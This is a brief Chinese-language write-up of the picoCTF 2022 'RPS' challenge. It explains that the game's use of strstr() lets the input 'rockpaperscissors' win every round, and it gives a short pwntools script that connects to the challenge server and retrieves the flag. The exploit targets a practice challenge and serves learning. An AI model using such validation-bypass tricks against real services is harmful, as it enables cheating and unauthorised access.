# RPS-200pt [題目在這](https://play.picoctf.org/practice/challenge/293?originalEvent=70&page=3) ## 題意 ![](https://i.imgur.com/R8tvAdd.png) ## 解題思路 因為判斷是用 strstr() 去做比對 ![](https://i.imgur.com/0GsnMr6.png) 所以不要臉的輸入 rockpaperscissors 順序隨意,反正三個都輸入,因為它會抓取對我們有利的那個字串,場場都贏XD ![](https://i.imgur.com/s1VNxWw.png) ## 困難之處 我偷看別人怎麼連贏的,才發現原來他用 strstr() 做比對QQ 用 code --2023/05/03 新增 ```python= #!/usr/bin/env python3 from pwn import * host = "saturn.picoctf.net" port = 51418 r = remote(host, port) for i in range(5): r.sendline(b'1') r.sendline(b'rockpaperscissors') print(r.recvline_contains(b'picoCTF{')) r.close() ``` Date : 2023/04/25 ###### tags: `picoCTF2022` `Binary` [`從零開始的 picoCTF`](https://hackmd.io/-KQeDuzrQMOcFNhwU_5eKA?both=) `picoCTF`